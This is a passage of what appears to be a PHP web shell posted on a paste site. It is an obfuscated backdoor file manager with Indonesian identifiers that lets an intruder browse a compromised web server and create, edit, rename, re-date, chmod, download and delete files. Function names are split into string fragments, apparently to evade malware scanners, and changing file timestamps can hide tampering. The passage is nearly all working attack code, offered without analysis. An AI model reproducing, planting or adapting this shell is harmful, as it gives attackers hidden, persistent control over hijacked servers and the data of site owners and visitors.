  731.                 echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  732.                 echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  733.                <input type="hidden" name="pilih" value="folder"></form>';
  734.             } else {
  735.                 red("Failed to Create folder !");
  736.                 echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  737.                 echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
  738.                <input type="hidden" name="pilih" value="folder"></form>';
  739.             }
  740.         } else {
  741.             echo '<form method="post"><center>Folder : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  742.             echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'"><input type="hidden" name="pilih" value="folder"></form>';
  743.         }
  744.     }
  745. } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") {
  746.     if ($isw("./") || $isr("./")) {
  747.         $loke = $_POST['lok'.'nya'];
  748.         if (isset($_POST['buatfi'.'le'])) {
  749.             $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], "");
  750.             if ($fxt($loke."/".$_POST['fi'.'lebaru'])) {
  751.                 green("File <b>".htmlspecialchars($_POST['fi'.'lebaru'])."</b> Created !");
  752.                 echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  753.                 echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'">
  754.                <input type="hidden" name="pilih" value="fi'.'le"></form>';
  755.             } else {
  756.                 red("Failed to Create File !");
  757.                 echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  758.                 echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'">
  759.                <input type="hidden" name="pilih" value="fi'.'le"></form>';
  760.             }
  761.         } else {
  762.             echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
  763.             echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'"><input type="hidden" name="pilih" value="fi'.'le"></form>';
  764.         }
  765.     }
  766. }
  767.  
  768. echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  769. <tr class="first">
  770. <td><center>Na'.'me</center></td>
  771. <td><center>Si'.'ze</center></td>
  772. <td><center>Las'.'t Mo'.'dif'.'ied</center></td>
  773. <td><center>Owner / Group</center></td>
  774. <td><center>Pe'.'rmi'.'ss'.'ions</center></td>
  775. <td><center>Op'.'tio'.'ns</center></td>
  776. </tr>';
  777.  
  778. echo "<tr>";
  779. $euybrekw = $srl($bsn($lokasi), "", $lokasi);
  780. $euybrekw = $srl("//", "/", $euybrekw);
  781. echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?loknya=".$euybrekw."\">..</a></td>
  782. <td><center>--</center></td>
  783. <td><center>".fdt($euybrekw)."</center></td>
  784. <td><center>".gor($euybrekw)." / ".ggr($euybrekw)."</center></td>
  785. <td><center>";
  786. if($isw($euybrekw)) echo '<font color="green">';
  787. elseif(!$isr($euybrekw)) echo '<font color="red">';
  788. echo statusnya($euybrekw);
  789. if($isw($euybrekw) || !$isr($euybrekw)) echo '</font>';
  790. echo "</center></td>
  791. <td><center><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\">
  792. <input type=\"hidden\" name=\"type\" value=\"dir\">
  793. <input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
  794. <input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$ppkcina\">
  795. <button type='submit' class='btf' name='pilih' value='folder'><i class='fa fa-folder' style='color: #fff'></i></button>
  796. <button type='submit' class='btf' name='pilih' value='file'><i class='fa fa-file' style='color: #fff'></i></button>
  797. </form></center>";
  798. echo "</tr>";
  799.  
  800. foreach($lokasinya as $ppkcina){
  801.     $euybre = $lokasi."/".$ppkcina;
  802.     $euybre = $srl("//", "/", $euybre);
  803.     if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue;
  804.     echo "<tr>";
  805.     echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?loknya=".$euybre."\">".$ppkcina."</a></td>
  806.     <td><center>--</center></td>
  807.     <td><center>".fdt($euybre)."</center></td>
  808.     <td><center>".gor($euybre)." / ".ggr($euybre)."</center></td>
  809.     <td><center>";
  810.     if($isw($euybre)) echo '<font color="green">';
  811.     elseif(!$isr($euybre)) echo '<font color="red">';
  812.     echo statusnya($euybre);
  813.     if($isw($euybre) || !$isr($euybre)) echo '</font>';
  814.  
  815.     echo "</center></td>
  816.     <td><center><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\">
  817.     <input type=\"hidden\" name=\"type\" value=\"dir\">
  818.     <input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
  819.     <input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$ppkcina\">
  820.     <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' style='color: #fff'></i></button>
  821.     <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>
  822.     <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' style='color: #fff'></i></button>
  823.     <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>
  824.     </form></center></td>
  825.     </tr>";
  826. }
  827.  
  828. echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
  829. $skd = "10"."24";
  830. foreach($lokasinya as $mekicina) {
  831.     $euybray = $lokasi."/".$mekicina;
  832.     if(!$ifi("$lokasi/$mekicina")) continue;
  833.     $size = $fsz("$lokasi/$mekicina")/$skd;
  834.     $size = $rd($size,3);
  835.     if($size >= $skd){
  836.     $size = $rd($size/$skd,2).' M'.'B';
  837. } else {
  838.     $size = $size.' K'.'B';
  839. }
  840.  
  841. echo "<tr>
  842. <td>".cfn($euybray)." <a href=\"?lokasie=$lokasi/$mekicina&loknya=$lokasi\">$mekicina</a></td>
  843. <td><center>".$size."</center></td>
  844. <td><center>".fdt($euybray)."</center></td>
  845. <td><center>".gor($euybray)." / ".ggr($euybray)."</center></td>
  846. <td><center>";
  847. if($isw("$lokasi/$mekicina")) echo '<font color="green">';
  848. elseif(!$isr("$lokasi/$mekicina")) echo '<font color="red">';
  849. echo statusnya("$lokasi/$mekicina");
  850. if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo '</font>';
  851. echo "</center></td><td><center>
  852. <form method=\"post\" action=\"?pilihan&loknya=$lokasi\">
  853. <button type='submit' class='btf' name='pilih' value='edit'><i class='fa fa-edit' style='color: #fff'></i></button>
  854. <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' style='color: #fff'></i></button>
  855. <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>
  856. <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' style='color: #fff'></i></button>
  857. <button type='submit' class='btf' name='pilih' value='dunlut'><i class='fa fa-down"."load' style='color: #fff'></i></button>
  858. <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>
  859. <input type=\"hidden\" name=\"type\" value=\"fi"."le\">
  860. <input type=\"hidden\" name=\"name\" value=\"$mekicina\">
  861. <input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$mekicina\">
  862. </form></center></td>
  863. </tr>";
  864. }
  865. echo '</tr></td></table></table>';
  866. author();
  867.  
  868. function statusnya($fl){
  869.     $a = "sub"."st"."r";
  870.     $b = "s"."pri"."ntf";
  871.     $c = "fil"."eper"."ms";
  872. $izin = $a($b('%o', $c($fl)), -4);
  873. return $izin;
  874. }
  875. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement